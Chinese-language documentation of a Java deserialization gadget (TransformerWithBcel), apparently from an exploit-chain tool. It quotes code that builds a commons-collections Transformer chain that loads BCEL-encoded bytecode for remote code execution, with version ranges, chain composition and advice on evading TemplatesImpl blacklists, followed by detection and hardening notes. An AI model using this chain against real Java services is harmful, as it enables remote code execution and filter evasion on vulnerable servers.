- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
<=commons-collections 3.2.1、or <=commons-collections 4.0、jdk < 8u251 - 继承:
AbstractTransformer(implements Gadget)
构造一条 commons-collections 的 Transformer[] 链(ChainedTransformer 的载荷数组),在被上游 CC 入口触发 transform() 时,依次反射实例化 JDK 内置的 com.sun.org.apache.bcel.internal.util.ClassLoader,用它的 loadClass 解码并 defineClass 一段 BCEL 编码的恶意字节码($$BCEL$$ 前缀字符串),最后 newInstance 触发执行。它是不依赖 TemplatesImpl 的字节码落地方式,用于绕过针对 TemplatesImpl 的类黑名单。
- 入口
tags:TransformerChains—— 承接一个「消费Transformer[]数组」的上游 CC 入口 gadget(如 CommonsCollectionsK3(CC3.2.1)、CommonsCollectionsK4(CC4.0),其nextTags=TransformerChains)。上游把本 gadget 产出的数组装进ChainedTransformer/LazyMap等结构,反序列化时驱动transform()。 - 衔接
nextTags:BCEL_Expr—— 之后需接一个产出「BCEL 字符串」的 gadget(其tags含BCEL_Expr),典型为 BcelConvert(把byte[]字节码编码为$$BCEL$$...字符串)或UserCustomExpr(直接给定字符串)。该字符串由chain.doCreate从下游取得后嵌入本链。 excludes:无。
本类只有两个方法:invoke(框架入口)与 getObject(构造载荷)。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String version = context.getString(ContextTag.CC_VERSION); // 读取 CC 大版本 "3"/"4"
this.initClazz(version); // 按版本解析 Transformer 相关类
String bcelString = (String)chain.doCreate(context); // 由下游 gadget 产出 BCEL 字符串
return this.getObject(bcelString); // 构造 Transformer[] 数组
}invoke 遵循「由内向外」构建:先从 GadgetContext 取 CC_VERSION(决定用 commons-collections(3) 还是 commons-collections4(4) 的类名),调 chain.doCreate(context) 拿到内层 gadget 产出的 BCEL 编码字符串,再把它嵌入本层的 Transformer[]。
initClazz 在基类 AbstractTransformer 中,按版本用 Class.forName 动态解析四个 Transformer 类,从而同一套逻辑兼容 CC3 与 CC4(类包名不同):
// AbstractTransformer.initClazz(version) —— 节选 version=="3" 分支
this.transformerClazz = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
// version=="4" 分支改用 org.apache.commons.collections4.* 包核心载荷在 getObject,构造出经典的 BCEL ClassLoader 链:
public Object getObject(String bcelString) throws Exception {
LinkedList<Object> transformers = new LinkedList<Object>();
transformers.add(this.createConstantTransformer(ClassLoader.class)); // [0]
transformers.add(this.createInvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // [1]
transformers.add(this.createInvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[0]})); // [2]
transformers.add(this.createInvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelString})); // [3]
transformers.add(this.createInvokerTransformer("newInstance", new Class[0], new Object[0])); // [4]
return this.createTransformerArray(transformers);
}其中 ClassLoader 即 import com.sun.org.apache.bcel.internal.util.ClassLoader(JDK 内置 BCEL 的类加载器,非 java.lang.ClassLoader)。当上游把该数组装入 ChainedTransformer 并触发 transform(input) 时,前一环的输出作为后一环的输入,逐环执行:
| # | Transformer | 输入 → 反射调用 → 输出 |
|---|---|---|
| [0] | ConstantTransformer(ClassLoader.class) |
忽略输入,恒定返回 BCEL 的 ClassLoader Class 对象 |
| [1] | InvokerTransformer("getConstructor", {Class[]}, {new Class[0]}) |
对上一步的 Class 调用 getConstructor(),取其无参构造器 |
| [2] | InvokerTransformer("newInstance", {Object[]}, {new String[0]}) |
对该构造器调用 newInstance(),得到一个 BCEL ClassLoader 实例 |
| [3] | InvokerTransformer("loadClass", {String}, {bcelString}) |
对该实例调用 loadClass("$$BCEL$$..."),BCEL 加载器识别 $$BCEL$$ 前缀,解码其后的字节码并 defineClass,返回恶意 Class |
| [4] | InvokerTransformer("newInstance", {}, {}) |
对该恶意 Class 调用无参 newInstance(),实例化触发其构造器/静态块中的 payload(RCE) |
基类的两个工厂方法通过 Reflections.newInstance 按版本类名反射构造 CC 的 Transformer 对象,避免直接引用 CC3/CC4 具体类:
public Object createConstantTransformer(Object args) throws Exception {
return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
return Reflections.newInstance(this.invokerTransformerClazz.getName(),
new Class[]{String.class, Class[].class, Object[].class}, args); // 对应 InvokerTransformer(methodName, paramTypes, args)
}createTransformerArray 用 Array.newInstance(transformerClazz, n) 建一个元素类型为版本对应 Transformer 接口的数组并填充——这一步很关键:ChainedTransformer 的字段是 Transformer[],若用 Object[] 会类型不符,故按版本反射建数组。
触发链本质:getObject 只是产出「原料数组」,真正的 transform() 遍历发生在上游入口 gadget(K3/K4 之类)反序列化时。因此本 gadget 无法单独利用,必须置于一条完整链的中段。
本类无 @Param。行为完全由上下文与上下游驱动:
CC_VERSION:由链上下文(上游 CC 入口 gadget)注入,取值"3"/"4",决定使用commons-collections还是commons-collections4的类。bcelString:由下游BCEL_Exprgadget(如BcelConvert)经chain.doCreate提供,无需在本条目手工配置。
- CC 版本:
<=commons-collections 3.2.1或<=commons-collections 4.0。关键在于这些版本的InvokerTransformer可被序列化并在反序列化路径上被调用(3.2.2 起InvokerTransformer默认反序列化被FunctorUtils拦截)。 - JDK 版本:
jdk < 8u251。com.sun.org.apache.bcel.internal.util.ClassLoader在 JDK 8u251 起被移除(BCEL 从 JDK 内部包剥离),此后本路径不可用。低版本 JDK6/7/8(<251) 均可。 - 为何用 BCEL 而非 TemplatesImpl:
TemplatesImpl路径常被 WAF/反序列化黑名单重点拦截;BCEL ClassLoader 以Class → getConstructor → newInstance → loadClass → newInstance的纯反射链落地字节码,特征不同,可绕过针对TemplatesImpl/defineClass的类名黑名单。与同族的 TransformerWithDefiningClassLoader(用 mozillaDefiningClassLoader)目的一致、载体不同。 - 坑点:
$$BCEL$$前缀不可少;BCEL 解码对超长字节码可能生成过长字符串导致方法/常量池限制,复杂 payload 建议改用其它落地方式。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签手工组合,典型形态:
[CommonsCollectionsK3/K4 (入口), TransformerWithBcel, BcelConvert, Exec]
执行序(sink 先产出,由内向外包装):Exec 产出恶意字节码 byte[] → BcelConvert 编码为 $$BCEL$$ 字符串 → TransformerWithBcel 嵌入 Transformer[] → K3/K4 装入 CC 入口结构交序列化。
- 上游(
nextTags=TransformerChains):CommonsCollectionsK3、CommonsCollectionsK4 - 下游(
tags=BCEL_Expr):BcelConvert、UserCustomExpr - 同族(同基类
AbstractTransformer,不同字节码落地器):TransformerWithDefiningClassLoader、TransformerWithDefiningClassLoader2
- 检测特征:序列化流中出现
ConstantTransformer+ 多个InvokerTransformer(方法名getConstructor/newInstance/loadClass组合),且载荷字符串含$$BCEL$$前缀,是本链的强指纹;类名com.sun.org.apache.bcel.internal.util.ClassLoader出现在反序列化上下文即高危。 - 加固建议:
- 升级
commons-collections到 3.2.2+/4.1+(InvokerTransformer默认禁止反序列化); - 升级 JDK 到 8u251+(BCEL 内部类被移除,该路径失效);
- 部署反序列化白名单(如
ObjectInputFilter/JEP 290),禁止org.apache.commons.collections(4).functors.*; - WAF/IDS 对
$$BCEL$$字节流特征与InvokerTransformer方法名序列告警。
- 升级